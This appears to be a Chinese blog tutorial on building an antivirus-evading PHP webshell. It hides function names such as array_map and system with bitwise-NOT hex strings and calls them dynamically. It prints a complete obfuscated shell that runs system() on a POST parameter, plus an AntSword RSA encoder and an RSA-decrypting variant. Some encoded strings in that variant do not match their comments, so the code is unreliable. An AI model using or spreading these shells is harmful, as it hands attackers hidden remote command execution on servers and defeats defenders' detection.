当前位置:首页>php>PHP WebShell 免杀之字符串运算 + 动态调用

PHP WebShell 免杀之字符串运算 + 动态调用

  • 2026-10-11 07:37:57
PHP WebShell 免杀之字符串运算 + 动态调用

前言

以火绒为例,如果直接传入一句话木马包被识别的

例如下面我刚写完保存就给我删了

我们要从杀软的角度去思考,毕竟杀软也是圈内安全人士开发的

识别木马最简单的方法就是读取文件内容识别关键字如 eval、assert 等等

当然也还有结构特征,例如 @eval($_GET["code"]) 等等

以上是静态的,当然还有动态的,只不过这个根据杀软的强度来的,只要静态过了,动态大概率会过

WebShell 的动态不像 C2 木马那样容易捕捉

思路

先确定 Payload 结构,避免常规的结构特征,使用较为冷门的去打 RCE

array_map 的作用是将回调函数(这里是 system)应用到数组的每一个元素上

数组里只有一个元素 $_POST['cmd'],于是 system 会执行这个命令,并在页面上输出结果

ounter(linearray_map('system', [$_POST['cmd']]);

利用 PHP 的字符串特性,如异或(^)、取反(~)、自增(++)来动态构造关键词

我们可以将关键字拆开,先构造出关键字的部分字符,然后再拼接起来

PHP 的按位取反运算符 ~ 作用在字符串上,会对其每个字节执行按位取反

如果原始字符串为 array_map,我们可以先计算出它每个字符取反后的字节序列,然后将这个不可打印的十六进制字符串嵌入代码,再用 ~ 取反回来,得到原始字符串

例如:

ounter(lineounter(line"a" (97) 取反 → 0x9E"r" (114) 取反 → 0x8D

array_map 的完整序列就是 \x9E\x8D\x8D\x9E\x86\xA0\x92\x9E\x8F

再进一步打散特征,不直接写成一大串,而是拆成多段用 . 连接

ounter(line"\x9E\x8D\x8D" . "\x9E\x86\xA0" . "\x92\x9E\x8F"

为了避免敏感词汇,所有变量名使用 _ 命名,得到

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line$_ = ~(    "\x9E\x8D\x8D" .    "\x9E\x86\xA0" .    "\x92\x9E\x8F");$__ = ~(    "\x8C\x86\x8C" .    "\x8B\x9A\x92");$___ = ~(    "\xA0" .    "\xAF\xB0" .    "\xAC\xAB");$____ = ~(    "\x9C" .    "\x92\x9B");

最后是动态调用

ounter(lineounter(lineounter(lineounter(line$___ = "_POST"${$___} 是 PHP 可变变量语法,等价于 $_POST$____ = "cmd"${$___}[$____] 即 $_POST['cmd']

完整 Payload 如下:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<?php$_ = ~(    "\x9E\x8D\x8D" .    "\x9E\x86\xA0" .    "\x92\x9E\x8F");$__ = ~(    "\x8C\x86\x8C" .    "\x8B\x9A\x92");$___ = ~(    "\xA0" .    "\xAF\xB0" .    "\xAC\xAB");$____ = ~(    "\x9C" .    "\x92\x9B");$_($__, [${$___}[$____]]);?>

实战

使用蚁剑 RSA 加密效果如下:

这是编码器源码:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line'use strict';module.exports = (pwd, data, ext = {}) => {    const rawPayload = data['_'];    const n = Math.ceil(rawPayload.length / 80);    const blockLen = Math.ceil(rawPayload.length / n);    const blocks = [];    for (let i = 0; i < n; i++) {        const block = rawPayload.substr(i * blockLen, blockLen);        // 使用私钥加密,输出 Base64        blocks.push(ext['rsa'].encryptPrivate(block, 'base64'));    }    data[pwd] = blocks.join('|');    delete data['_'];    return data;}

这是最后含有加密的代码

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line// ===== 原有混淆:array_map, system, _POST, cmd =====$_ = ~("\x9E\x8D\x8D"."\x9E\x86\xA0"."\x92\x9E\x8F");            // array_map$__ = ~("\x8C\x86\x8C"."\x8B\x9A\x92");                          // system$___ = ~("\xA0"."\xAF\xB0"."\xAC\xAB");                          // _POST$____ = ~("\x9C"."\x92\x9B");                                    // cmd// ===== 新增:RSA 解密相关函数名字符串取反 =====$_pkf   = ~("\x90\x91\x8D\x9A\x93\x8C\x8C\x9C\x97\x9E\x8A\x9F\x9A\x8C\x9E\x8D\x9F\x96\x9B\x8F\x9E\x8C"); // openssl_pkey_get_public$_decf  = ~("\x90\x91\x8D\x9A\x93\x8C\x8C\x9C\x91\x96\x9B\x8F\x9E\x8C\x9B\x8D\x9A\x8B\x9C\x8A\x8D");   // openssl_public_decrypt$_b64   = ~("\x8C\x9E\x8C\x8D\x9E\x9B\x9C\x8B\x9A\x9B\x90\x9A\x8D");                                  // base64_decode$_exp   = ~("\x9A\x87\x91\x8F\x90\x8B\x9A");                                                          // explode$_sep   = ~("\x83");                                                                                   // |// ===== 公钥明文(无需取反) =====$pubkey = "-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCLpefN/JHlJ9emUYAQ4cslKjYzqiWvtnwMcNtI4a0QIXirSYGPkcKarufzc66MMaEUS2pcW6OeufL6/008txLw+tvDgwLQoK+x1CL3TgXMfanULfWuKz9ZYq85RG1NpK/Nh/874HlqEfU41px5Oww5SZ/oYaZSJ2b+6gXYP0mYNQIDAQAB-----END PUBLIC KEY-----";// ===== 获取加密载荷 =====$enc_cmd = @${$___}[$____];                     // $_POST['cmd']if (!empty($enc_cmd)) {    // 分割密文块    $blocks = $_exp($_sep, $enc_cmd);           // explode('|', ...)    // 加载公钥    $pk = $_pkf($pubkey);                       // openssl_pkey_get_public(...)    $cmd = '';    // 逐块解密拼接    foreach ($blocks as $block) {        $decoded = $_b64($block);               // base64_decode        $de = '';        if ($_decf($decoded, $de, $pk)) {       // openssl_public_decrypt            $cmd .= $de;        }    }    // 仍使用原马方式执行系统命令    $_($__, [$cmd]);                            // array_map("system", [$cmd])}

最新文章

随机文章